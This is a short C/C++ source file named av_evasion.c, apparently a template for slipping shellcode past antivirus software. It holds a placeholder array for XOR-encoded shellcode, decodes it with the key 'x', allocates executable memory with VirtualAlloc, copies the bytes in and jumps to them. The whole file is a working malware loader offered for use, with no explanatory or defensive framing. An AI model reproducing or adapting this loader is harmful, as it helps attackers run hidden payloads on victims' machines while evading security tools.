av_evasion.c

av_evasion.c

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
   char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
   char c[sizeof b];
   for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
  void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, c, sizeof c);
  ((void(*)())exec)();
}